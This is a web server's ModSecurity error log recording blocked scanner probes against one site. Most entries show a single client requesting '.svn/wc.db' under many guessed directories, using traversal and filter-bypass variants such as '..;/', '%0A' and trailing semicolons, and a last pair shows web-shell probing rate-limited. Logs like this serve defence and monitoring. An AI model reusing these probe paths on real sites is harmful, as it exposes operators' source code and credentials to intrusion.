[Tue Dec 02 18:23:07.806120 2025] [:error] [pid 5272:tid 5287] [client 213.21.239.4:45756] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/img../.svn/wc.db"] [unique_id "aS6-C-wbFoRzPGfZYVRLFwAAAUw"]
[Tue Dec 02 18:23:07.813905 2025] [:error] [pid 5272:tid 5281] [client 213.21.239.4:46004] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/live/.svn/wc.db"] [unique_id "aS6-C-wbFoRzPGfZYVRLGAAAAUY"]
[Tue Dec 02 18:23:07.816039 2025] [:error] [pid 3647:tid 3669] [client 213.21.239.4:46028] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/media../.svn/wc.db"] [unique_id "aS6-C1JaqGDFgh_0XI-GCQAAABA"]
[Tue Dec 02 18:23:07.824798 2025] [:error] [pid 3649:tid 3733] [client 213.21.239.4:46100] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/public/.svn/wc.db"] [unique_id "aS6-C7wjL4uqC6YFjxF7CwAAAJY"]
[Tue Dec 02 18:23:07.825491 2025] [:error] [pid 3649:tid 3728] [client 213.21.239.4:45958] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/prod.svn/wc.db"] [unique_id "aS6-C7wjL4uqC6YFjxF7CgAAAJE"]
[Tue Dec 02 18:23:07.826313 2025] [:error] [pid 3649:tid 3726] [client 213.21.239.4:45994] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/lib../.svn/wc.db"] [unique_id "aS6-C7wjL4uqC6YFjxF7DAAAAI8"]
[Tue Dec 02 18:23:07.830199 2025] [:error] [pid 5232:tid 5242] [client 213.21.239.4:46066] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/new/.svn/wc.db"] [unique_id "aS6-CwApmO-auDy1ob7cRwAAAQg"]
[Tue Dec 02 18:23:07.832230 2025] [:error] [pid 3648:tid 3708] [client 213.21.239.4:46166] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/wc.db"] [unique_id "aS6-C-QEp5icp6XOJr3JNwAAAFg"]
[Tue Dec 02 18:23:07.833915 2025] [:error] [pid 3648:tid 3694] [client 213.21.239.4:46110] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/qa/.svn/wc.db"] [unique_id "aS6-C-QEp5icp6XOJr3JOQAAAEo"]
[Tue Dec 02 18:23:07.848618 2025] [:error] [pid 3647:tid 3659] [client 213.21.239.4:46084] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/old-cuburn/.svn/wc.db"] [unique_id "aS6-C1JaqGDFgh_0XI-GDAAAAAY"]
[Tue Dec 02 18:23:07.849315 2025] [:error] [pid 3760:tid 3779] [client 213.21.239.4:46268] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/prod/.svn/wc.db"] [unique_id "aS6-C1jLYEjdWVcKgVVScwAAANE"]
[Tue Dec 02 18:23:07.854350 2025] [:error] [pid 48650:tid 48656] [client 213.21.239.4:46126] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand.com.au../wc.db"] [unique_id "aS6-C4QuWSn3xrJsXbls3wAAAcE"]
[Tue Dec 02 18:23:09.985788 2025] [:error] [pid 48650:tid 48656] [client 213.21.239.4:46126] [client 213.21.239.4] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "121.91.170.7_4b124192db40a83eb0e0df51c17b3833300fa874"): Internal error (specific information not available) [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand.com.au../wc.db"] [unique_id "aS6-C4QuWSn3xrJsXbls3wAAAcE"]
[Tue Dec 02 18:23:10.807241 2025] [:error] [pid 3760:tid 3763] [client 213.21.239.4:46332] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn/%0Awc.db"] [unique_id "aS6-DljLYEjdWVcKgVVSewAAAME"]
[Tue Dec 02 18:23:10.807264 2025] [:error] [pid 5272:tid 5299] [client 213.21.239.4:46334] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand.com.au../.svn/wc.db"] [unique_id "aS6-DuwbFoRzPGfZYVRLIQAAAVg"]
[Tue Dec 02 18:23:11.796967 2025] [:error] [pid 48650:tid 48678] [client 213.21.239.4:46554] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/repos/.svn/wc.db"] [unique_id "aS6-D4QuWSn3xrJsXbls5AAAAdc"]
[Tue Dec 02 18:23:11.797727 2025] [:error] [pid 5272:tid 5298] [client 213.21.239.4:46578] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/repository/.svn/wc.db"] [unique_id "aS6-D-wbFoRzPGfZYVRLJAAAAVc"]
[Tue Dec 02 18:23:11.804122 2025] [:error] [pid 48650:tid 48676] [client 213.21.239.4:46582] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www../.svn/wc.db"] [unique_id "aS6-D4QuWSn3xrJsXbls5gAAAdU"]
[Tue Dec 02 18:23:11.810238 2025] [:error] [pid 48650:tid 48662] [client 213.21.239.4:46428] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www/..;/.svn/wc.db"] [unique_id "aS6-D4QuWSn3xrJsXbls6gAAAcc"]
[Tue Dec 02 18:23:11.810840 2025] [:error] [pid 5272:tid 5291] [client 213.21.239.4:46660] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www/;/.svn/wc.db"] [unique_id "aS6-D-wbFoRzPGfZYVRLJQAAAVA"]
[Tue Dec 02 18:23:11.814093 2025] [:error] [pid 48650:tid 48677] [client 213.21.239.4:46586] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/s3/.svn/wc.db"] [unique_id "aS6-D4QuWSn3xrJsXbls7AAAAdY"]
[Tue Dec 02 18:23:11.815080 2025] [:error] [pid 5273:tid 5304] [client 213.21.239.4:46588] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www/.svn/wc.db;.."] [unique_id "aS6-DyMmXO5H1kNwHHUpngAAAYI"]
[Tue Dec 02 18:23:11.821287 2025] [:error] [pid 3648:tid 3699] [client 213.21.239.4:46772] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www/.svn/%0Awc.db"] [unique_id "aS6-D-QEp5icp6XOJr3JRQAAAE8"]
[Tue Dec 02 18:23:11.821411 2025] [:error] [pid 48650:tid 48673] [client 213.21.239.4:46750] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/www/wc.db"] [unique_id "aS6-D4QuWSn3xrJsXbls8AAAAdI"]
[Tue Dec 02 18:23:11.822972 2025] [:error] [pid 48650:tid 48675] [client 213.21.239.4:46470] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/shop/.svn/wc.db"] [unique_id "aS6-D4QuWSn3xrJsXbls8wAAAdQ"]
[Tue Dec 02 18:23:11.825857 2025] [:error] [pid 48650:tid 48656] [client 213.21.239.4:46532] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www/.svn/wc.db"] [unique_id "aS6-D4QuWSn3xrJsXbls9AAAAcE"]
[Tue Dec 02 18:23:11.825857 2025] [:error] [pid 5273:tid 5317] [client 213.21.239.4:46624] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/samples/.svn/wc.db"] [unique_id "aS6-DyMmXO5H1kNwHHUpnwAAAY8"]
[Tue Dec 02 18:23:11.826712 2025] [:error] [pid 3648:tid 3692] [client 213.21.239.4:46742] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/..;/.svn/wc.db"] [unique_id "aS6-D-QEp5icp6XOJr3JRgAAAEg"]
[Tue Dec 02 18:23:11.832498 2025] [:error] [pid 5272:tid 5276] [client 213.21.239.4:46782] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www/static../.svn/wc.db"] [unique_id "aS6-D-wbFoRzPGfZYVRLJwAAAUE"]
[Tue Dec 02 18:23:11.835422 2025] [:error] [pid 3648:tid 3685] [client 213.21.239.4:46500] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/static../.svn/wc.db"] [unique_id "aS6-D-QEp5icp6XOJr3JRwAAAEE"]
[Tue Dec 02 18:23:11.838888 2025] [:error] [pid 5273:tid 5319] [client 213.21.239.4:46724] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/www../wc.db"] [unique_id "aS6-DyMmXO5H1kNwHHUpoAAAAZE"]
[Tue Dec 02 18:23:11.840872 2025] [:error] [pid 5272:tid 5293] [client 213.21.239.4:46762] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn/wc.db"] [unique_id "aS6-D-wbFoRzPGfZYVRLKQAAAVI"]
[Tue Dec 02 18:23:11.844028 2025] [:error] [pid 5272:tid 5289] [client 213.21.239.4:46612] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/www/.svn;/wc.db"] [unique_id "aS6-D-wbFoRzPGfZYVRLKgAAAU4"]
[Tue Dec 02 18:23:11.850843 2025] [:error] [pid 3647:tid 3655] [client 213.21.239.4:46934] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn/wc.db;.."] [unique_id "aS6-D1JaqGDFgh_0XI-GDQAAAAI"]
[Tue Dec 02 18:23:11.854450 2025] [:error] [pid 3649:tid 3731] [client 213.21.239.4:46858] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn;/wc.db"] [unique_id "aS6-D7wjL4uqC6YFjxF7FQAAAJQ"]
[Tue Dec 02 18:23:11.855345 2025] [:error] [pid 5272:tid 5285] [client 213.21.239.4:46718] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/www/.svn/wc.db;"] [unique_id "aS6-D-wbFoRzPGfZYVRLMAAAAUo"]
[Tue Dec 02 18:23:11.864010 2025] [:error] [pid 5272:tid 5299] [client 213.21.239.4:46900] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn/wc.db;"] [unique_id "aS6-D-wbFoRzPGfZYVRLMwAAAVg"]
[Tue Dec 02 18:23:11.869364 2025] [:error] [pid 5272:tid 5288] [client 213.21.239.4:46918] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/;/.svn/wc.db"] [unique_id "aS6-D-wbFoRzPGfZYVRLNAAAAU0"]
[Tue Dec 02 18:23:14.808092 2025] [:error] [pid 3760:tid 3769] [client 213.21.239.4:35306] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/site/.svn/wc.db"] [unique_id "aS6-EljLYEjdWVcKgVVSgwAAAMc"]
[Tue Dec 02 18:23:14.813866 2025] [:error] [pid 5273:tid 5312] [client 213.21.239.4:35340] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/staging/.svn/wc.db"] [unique_id "aS6-EiMmXO5H1kNwHHUppQAAAYo"]
[Tue Dec 02 18:23:15.846233 2025] [:error] [pid 3760:tid 3781] [client 213.21.239.4:35420] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/static../.svn/wc.db"] [unique_id "aS6-E1jLYEjdWVcKgVVShAAAANM"]
[Tue Dec 02 18:23:16.074018 2025] [:error] [pid 5273:tid 5314] [client 213.21.239.4:35512] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/vendor/.svn/wc.db"] [unique_id "aS6-FCMmXO5H1kNwHHUpqAAAAYw"]
[Tue Dec 02 18:23:16.074333 2025] [:error] [pid 3648:tid 3695] [client 213.21.239.4:35482] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/uat/.svn/wc.db"] [unique_id "aS6-FOQEp5icp6XOJr3JUAAAAEs"]
[Tue Dec 02 18:23:16.076432 2025] [:error] [pid 5272:tid 5294] [client 213.21.239.4:35422] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/static/.svn/wc.db"] [unique_id "aS6-FOwbFoRzPGfZYVRLOwAAAVM"]
[Tue Dec 02 18:23:16.078875 2025] [:error] [pid 5273:tid 5322] [client 213.21.239.4:35468] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/store/.svn/wc.db"] [unique_id "aS6-FCMmXO5H1kNwHHUpqQAAAZQ"]
[Tue Dec 02 18:23:16.104521 2025] [:error] [pid 5273:tid 5321] [client 213.21.239.4:35596] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/.svn/wc.db"] [unique_id "aS6-FCMmXO5H1kNwHHUpqwAAAZM"]
[Tue Dec 02 18:23:16.109910 2025] [:error] [pid 5272:tid 5288] [client 213.21.239.4:35582] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/.svn/wc.db"] [unique_id "aS6-FOwbFoRzPGfZYVRLPAAAAU0"]
[Tue Dec 02 18:23:16.110139 2025] [:error] [pid 3760:tid 3782] [client 213.21.239.4:35540] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/wiki/.svn/wc.db"] [unique_id "aS6-FFjLYEjdWVcKgVVSiQAAANQ"]
[Tue Dec 02 18:23:16.113764 2025] [:error] [pid 5273:tid 5308] [client 213.21.239.4:35524] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/web/.svn/wc.db"] [unique_id "aS6-FCMmXO5H1kNwHHUprAAAAYY"]
[Tue Dec 02 18:23:16.118078 2025] [:error] [pid 3648:tid 3697] [client 213.21.239.4:35522] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/.svn/wc.db"] [unique_id "aS6-FOQEp5icp6XOJr3JVAAAAE0"]
[Tue Dec 02 18:23:16.119207 2025] [:error] [pid 5273:tid 5326] [client 213.21.239.4:35600] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/.svn/wc.db"] [unique_id "aS6-FCMmXO5H1kNwHHUprQAAAZg"]
[Tue Dec 02 23:26:55.113460 2025] [:error] [pid 5272:tid 5291] [client 20.196.108.177:20437] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aS8FP-wbFoRzPGfZYVSPOwAAAVA"]
[Tue Dec 02 23:26:55.533705 2025] [:error] [pid 5272:tid 5285] [client 20.196.108.177:20354] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aS8FP-wbFoRzPGfZYVSPPAAAAUo"]
